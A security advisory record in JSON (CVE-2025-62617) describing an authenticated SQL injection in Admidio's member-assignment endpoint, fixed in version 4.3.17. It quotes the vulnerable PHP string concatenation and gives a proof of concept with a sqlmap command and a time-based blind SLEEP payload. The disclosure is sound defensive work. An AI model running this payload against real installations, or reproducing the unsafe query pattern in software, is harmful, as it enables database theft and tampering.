{"id":"GHSA-2v5m-cq9w-fc33","summary":"Admidio Vulnerable to Authenticated SQL Injection in Member Assignment Functionality","details":"### Summary\n\nAn authenticated SQL injection vulnerability exists in the member assignment data retrieval functionality of Admidio. Any authenticated user with permissions to assign members to a role (such as an administrator) can exploit this vulnerability to execute arbitrary SQL commands. This can lead to a full compromise of the application's database, including reading, modifying, or deleting all data. The vulnerability is present in the latest version, 4.3.16.\n\n### Details\n\nThe vulnerability is located in the `adm_program/modules/groups-roles/members_assignment_data.php` script. This script handles an AJAX request to fetch a list of users for role assignment. The `filter_rol_uuid` GET parameter is not properly sanitized before being used in a raw SQL query.\n\n**File:** `adm_program/modules/groups-roles/members_assignment_data.php`\n```php\n// ... \n// The parameter is retrieved from the GET request without sufficient sanitization for SQL context.\n$getFilterRoleUuid = admFuncVariableIsValid($_GET, 'filter_rol_uuid', 'string');\n$getMembersShowAll = admFuncVariableIsValid($_GET, 'mem_show_all', 'bool', array('defaultValue' =\u003e false));\n\n// ... \n$filterRoleCondition = '';\nif ($getMembersShowAll) {\n    $getFilterRoleUuid = 0;\n} else {\n    // show only members of current organization\n    if ($getFilterRoleUuid !== '') {\n        // VULNERABLE CODE: $getFilterRoleUuid is directly concatenated into the query string.\n        $filterRoleCondition = ' AND rol_uuid = \\''.$getFilterRoleUuid . '\\'';\n    }\n}\n\n// ...\n// The vulnerable $filterRoleCondition is then used inside a subselect.\n$sqlSubSelect = '(SELECT COUNT(*) AS count_this\n                    FROM '.TBL_MEMBERS.'\n              INNER JOIN '.TBL_ROLES.'\n                      ON rol_id = mem_rol_id\n              INNER JOIN '.TBL_CATEGORIES.'\n                      ON cat_id = rol_cat_id\n                   WHERE mem_usr_id  = usr_id\n                     AND mem_begin  \u003c= \\''.DATE_NOW.'\\'\n                     AND mem_end     \u003e \\''.DATE_NOW.'\\'\n                         '.$filterRoleCondition.'\n                     AND rol_valid = true\n                     AND cat_name_intern \u003c\u003e \\'EVENTS\\'\n                     AND cat_org_id = '.$gCurrentOrgId.')';\n// ...\n```\n\nAs shown above, the value of `$getFilterRoleUuid` is directly concatenated into the `$filterRoleCondition` variable, which is then embedded within a larger SQL query (`$sqlSubSelect`). This allows an attacker to break out of the string literal and inject arbitrary SQL commands.\n\n### PoC (Proof of Concept)\n\n**Prerequisites:**\n1.  A running instance of Admidio (tested on version 4.3.16).\n2.  An authenticated user session with permissions to assign members to a role (e.g., the default 'admin' user).\n\n**Execution:**\nThe vulnerability can be triggered by manipulating the `filter_rol_uuid` parameter in the request to `/adm_program/modules/groups-roles/members_assignment_data.php`. Due to the large number of parameters, the easiest way to reproduce this is by capturing a legitimate request and replaying it with `sqlmap`.\n\n1.  Log in to Admidio as an administrator.\n2.  Navigate to `Groups / Roles`.\n3.  Click the \"Assign members\" icon for any existing role.\n4.  Using a web proxy like Burp Suite, intercept the GET request made to `/adm_program/modules/groups-roles/members_assignment_data.php`.\n5.  Save the entire raw request to a text file (e.g., `admidio_request.txt`).\n6.  Run the following `sqlmap` command to confirm the time-based blind SQL injection:\n\n```bash\nsqlmap -r /path/to/admidio_request.txt -p filter_rol_uuid --technique=T --dbms=mysql --current-db\n```\n\n**Result:**\n`sqlmap` will successfully identify and exploit the time-based blind SQL injection vulnerability.\n\n```\n---\nParameter: filter_rol_uuid (GET)\n    Type: time-based blind\n    Title: MySQL \u003e= 5.0.12 AND time-based blind (query SLEEP)\n    Payload: role_uuid=...&filter_rol_uuid=' AND (SELECT 3332 FROM (SELECT(SLEEP(5)))vqnl) AND 'ENdG'='ENdG&...\n---\n[INFO] the back-end DBMS is MySQL\nback-end DBMS: MySQL \u003e= 5.0.12\n[INFO] fetching current database\n[INFO] retrieved: admidio\ncurrent database: 'admidio'\n```\nThis confirms that an attacker can execute arbitrary SQL queries and extract information from the database.","aliases":["CVE-2025-62617"],"modified":"2025-10-23T17:51:48.763782Z","published":"2025-10-22T16:46:03Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2025-10-22T16:46:03Z","nvd_published_at":"2025-10-22T22:15:34Z","cwe_ids":["CWE-89"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/Admidio/admidio/security/advisories/GHSA-2v5m-cq9w-fc33"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-62617"},{"type":"WEB","url":"https://github.com/Admidio/admidio/commit/fde81ae869e88a3cf42201f2548d57df785a37cb"},{"type":"PACKAGE","url":"https://github.com/Admidio/admidio"}],"affected":[{"package":{"name":"admidio/admidio","ecosystem":"Packagist","purl":"pkg:composer/admidio/admidio"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.17"}]}],"versions":["4.1.0","4.1.3","v4.2-Beta.1","v4.2-Beta.2","v4.2-Beta.3","v4.2.0","v4.2.1","v4.2.10","v4.2.11","v4.2.12","v4.2.13","v4.2.14","v4.2.2","v4.2.3","v4.2.4","v4.2.5","v4.2.6","v4.2.7","v4.2.8","v4.2.9","v4.3-Beta.1","v4.3-Beta.3","v4.3-Beta.4","v4.3-Beta.5","v4.3.0","v4.3.1","v4.3.10","v4.3.11","v4.3.12","v4.3.13","v4.3.14","v4.3.15","v4.3.16","v4.3.2","v4.3.3","v4.3.4","v4.3.5","v4.3.6","v4.3.7","v4.3.8","v4.3.9"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/10/GHSA-2v5m-cq9w-fc33/GHSA-2v5m-cq9w-fc33.json","last_known_affected_version_range":"\u003c= 4.3.16"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"}]}